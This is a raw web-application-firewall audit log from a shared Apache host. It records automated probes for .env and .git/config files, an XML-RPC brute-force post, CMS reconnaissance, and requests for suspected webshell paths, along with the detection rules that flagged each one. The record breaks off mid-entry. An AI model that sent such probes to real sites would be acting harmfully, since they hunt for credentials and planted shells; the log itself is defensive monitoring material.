Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.34.2||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.34.2||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "default-81-180-250-39"] [uri "/.env"] [unique_id "aqaqlGM7dE9KgIIOpQiCYAAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "default-81-180-250-39"] [uri "/.env"] [unique_id "aqaqlGM7dE9KgIIOpQiCYAAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/nuntiinsibiu.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789307540392182 550986 (- - -)
Stopwatch2: 1789307540392182 550986; combined=5640, p1=266, p2=5312, p3=0, p4=0, p5=61, sr=124, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ea0a7822-Z--

--2bf6d60b-A--
[13/Sep/2026:16:52:24.502322 +0300] aqaqmEwu1RSkptiiNIX-JQAAAIs 8.163.68.110 41818 127.0.0.1 7081
--2bf6d60b-B--
GET /.env.example HTTP/1.1
Host: default-81-180-250-39
X-Real-IP: 8.163.68.110
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.34.2
Accept-Encoding: gzip, deflate
Accept: */*

--2bf6d60b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
X-Frame-Options: SAMEORIGIN
Link: <https://www.nuntiinsibiu.ro/wp-json/>; rel="https://api.w.org/"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=jtpl63m0ps0f5nrm49tmbrs997; path=/
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2bf6d60b-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.34.2||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.34.2||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "default-81-180-250-39"] [uri "/.env.example"] [unique_id "aqaqmEwu1RSkptiiNIX-JQAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/nuntiinsibiu.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789307544099478 402907 (- - -)
Stopwatch2: 1789307544099478 402907; combined=3964, p1=263, p2=3645, p3=0, p4=0, p5=56, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2bf6d60b-Z--

--9a924f7c-A--
[13/Sep/2026:16:55:05.598912 +0300] aqarOWM7dE9KgIIOpQiCfAAAANI 89.39.7.190 50538 127.0.0.1 7081
--9a924f7c-B--
POST /wp-cron.php?doing_wp_cron=1789307705.4990239143371582031250 HTTP/1.1
Host: ajutam.ro
X-Real-IP: 89.39.7.190
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 0
User-Agent: WordPress/6.9.7; https://ajutam.ro
Accept: */*
Accept-Encoding: deflate, gzip, br
Content-Type: application/x-www-form-urlencoded

--9a924f7c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Content-Length: 0
Content-Type: text/html; charset=UTF-8

--9a924f7c-E--

--9a924f7c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:doing_wp_cron=1789307705.4990239143371582031250& P: F:||T:APACHE||R:200"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Message: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=3927, p1=268, p2=3520, p3=126, p4=13, p5=0, sr=92, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=3927, p1=268, p2=3520, p3=126, p4=13, p5=0, sr=92, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"] [hostname "ajutam.ro"] [uri "/wp-cron.php"] [unique_id "aqarOWM7dE9KgIIOpQiCfAAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ajutam.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789307705577236 21757 (- - -)
Stopwatch2: 1789307705577236 21757; combined=8524, p1=268, p2=3520, p3=126, p4=13, p5=4597, sr=92, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9a924f7c-Z--

--e3267845-A--
[13/Sep/2026:16:59:45.479330 +0300] aqasUWM7dE9KgIIOpQiCiwAAANE 94.143.198.219 33976 127.0.0.1 7081
--e3267845-B--
POST /xmlrpc.php HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 94.143.198.219
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 680
Content-Type: text/xml; charset=utf-8
Accept: */*
Accept-Language: ru,en-US;q=0.7,en;q=0.3
User-Agent: Mozilla/5.0 (Windows NT 6.3; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/14.0.0.0 Safari/537.36

--e3267845-C--
<?xml version="1.0"?><methodCall><methodName>metaWeblog.newPost</methodName><params><param><value><string>1</string></value></param><param><value><string>60217</string></value></param><param><value><string>60217</string></value></param><param><value><struct><member><name>title</name><value><string>0x6ce377ef</string></value></member><member><name>description</name><value><string>0x6ce377ef</string></value></member><member><name>mt_keywords</name><value><string>0x6ce377ef</string></value></member><member><name>mt_excerpt</name><value><string>0x6ce377ef</string></value></member></struct></value></param><param><value><boolean>1</boolean></value></param></params></methodCall>
--e3267845-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e3267845-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:16-59.94.143.198.219"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789307985412648 66760 (- - -)
Stopwatch2: 1789307985412648 66760; combined=64907, p1=333, p2=58974, p3=0, p4=0, p5=3067, sr=112, sw=2533, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e3267845-Z--

--9b138a28-A--
[13/Sep/2026:17:04:48.168039 +0300] aqatgGM7dE9KgIIOpQiCoAAAANg 154.54.100.175 43664 127.0.0.1 7080
--9b138a28-B--
GET /.git/config HTTP/1.1
Host: ns2.behappydigital.com
X-Real-IP: 154.54.100.175
User-Agent: Mozilla/5.0 (Linux; Android 9; SM-G960F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip

--9b138a28-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--9b138a28-E--

--9b138a28-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:404"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Message: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=35095, p1=274, p2=34746, p3=68, p4=7, p5=0, sr=117, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns2.behappydigital.com"] [uri "/.git/config"] [unique_id "aqatgGM7dE9KgIIOpQiCoAAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns2.behappydigital.com"] [uri "/.git/config"] [unique_id "aqatgGM7dE9KgIIOpQiCoAAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns2.behappydigital.com"] [uri "/.git/config"] [unique_id "aqatgGM7dE9KgIIOpQiCoAAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=35095, p1=274, p2=34746, p3=68, p4=7, p5=0, sr=117, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"] [hostname "ns2.behappydigital.com"] [uri "/.git/config"] [unique_id "aqatgGM7dE9KgIIOpQiCoAAAANg"]
Stopwatch: 1789308288131093 37022 (- - -)
Stopwatch2: 1789308288131093 37022; combined=35566, p1=274, p2=34746, p3=68, p4=7, p5=470, sr=117, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9b138a28-Z--

--cc370920-A--
[13/Sep/2026:17:07:55.152771 +0300] aqauOkwu1RSkptiiNIX-VgAAAIo 114.119.141.73 37694 127.0.0.1 7081
--cc370920-B--
GET /img/ufo19w_831.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 114.119.141.73
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (HTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en
Referer: https://www.ihelp.ro/adauga-favorite/1796677273159834

--cc370920-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 671f5901-11bf-4149-9d17-1aa87a0c412f
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--cc370920-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqauOkwu1RSkptiiNIX-VgAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqauOkwu1RSkptiiNIX-VgAAAIo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789308474908276 244565 (- - -)
Stopwatch2: 1789308474908276 244565; combined=5520, p1=388, p2=5057, p3=0, p4=0, p5=74, sr=190, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--cc370920-Z--

--739e5527-A--
[13/Sep/2026:17:10:29.900305 +0300] aqau1WM7dE9KgIIOpQiCywAAAMc 216.81.248.147 47224 127.0.0.1 7081
--739e5527-B--
GET /.git/config HTTP/1.1
Host: ihelp.ro
X-Real-IP: 216.81.248.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1  (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.1
Accept-Charset: utf-8
Accept-Encoding: gzip

--739e5527-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: c7731ccb-fd0b-48d0-9ce3-ea3ae0c28712
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--739e5527-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/.git/config"] [unique_id "aqau1WM7dE9KgIIOpQiCywAAAMc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ihelp.ro"] [uri "/.git/config"] [unique_id "aqau1WM7dE9KgIIOpQiCywAAAMc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/.git/config"] [unique_id "aqau1WM7dE9KgIIOpQiCywAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789308629659262 241095 (- - -)
Stopwatch2: 1789308629659262 241095; combined=32378, p1=803, p2=31430, p3=0, p4=0, p5=145, sr=121, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--739e5527-Z--

--e1728d1f-A--
[13/Sep/2026:17:14:56.698966 +0300] aqav4Ewu1RSkptiiNIX-fAAAAJQ 35.187.69.27 43130 127.0.0.1 7081
--e1728d1f-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 35.187.69.27
X-Accel-Internal: /internal-nginx-static-location
Cookie: csrfToken=q%2BxKF66OwEI4hHlnn%2FHn32NmNzczMmIxYTYwMjk5ZGQwYzAwZTdiMDQxYmQyMjc3MDA1YjY2ZDU%3D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--e1728d1f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e1728d1f-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/xmlrpc.php"] [unique_id "aqav4Ewu1RSkptiiNIX-fAAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/xmlrpc.php"] [unique_id "aqav4Ewu1RSkptiiNIX-fAAAAJQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789308896630087 68938 (- - -)
Stopwatch2: 1789308896630087 68938; combined=4566, p1=241, p2=4247, p3=0, p4=0, p5=77, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e1728d1f-Z--

--f0d3523a-A--
[13/Sep/2026:17:16:52.298418 +0300] aqawVEwu1RSkptiiNIX-nQAAAIk 185.16.39.223 35332 127.0.0.1 7081
--f0d3523a-B--
GET /images/images/cache.php HTTP/1.1
Host: mediabuy.ro
X-Real-IP: 185.16.39.223
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Cache-Control: max-age=0
referer: www.google.com
Upgrade-Insecure-Requests: 1

--f0d3523a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.3.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f0d3523a-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "mediabuy.ro"] [uri "/images/images/cache.php"] [unique_id "aqawVEwu1RSkptiiNIX-nQAAAIk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "mediabuy.ro"] [uri "/images/images/cache.php"] [unique_id "aqawVEwu1RSkptiiNIX-nQAAAIk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/mediabuy.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789309012236989 61486 (- - -)
Stopwatch2: 1789309012236989 61486; combined=5178, p1=283, p2=4821, p3=0, p4=0, p5=74, sr=136, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f0d3523a-Z--

--e336c362-A--
[13/Sep/2026:17:16:52.536786 +0300] aqawVEwu1RSkptiiNIX-ngAAAJg 185.16.39.223 35348 127.0.0.1 7081
--e336c362-B--
GET /images/images/cache.php HTTP/1.1
Host: mediabuy.ro
X-Real-IP: 185.16.39.223
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
Accept-Language: en-US,en;q=0.9,fr;q=0.8
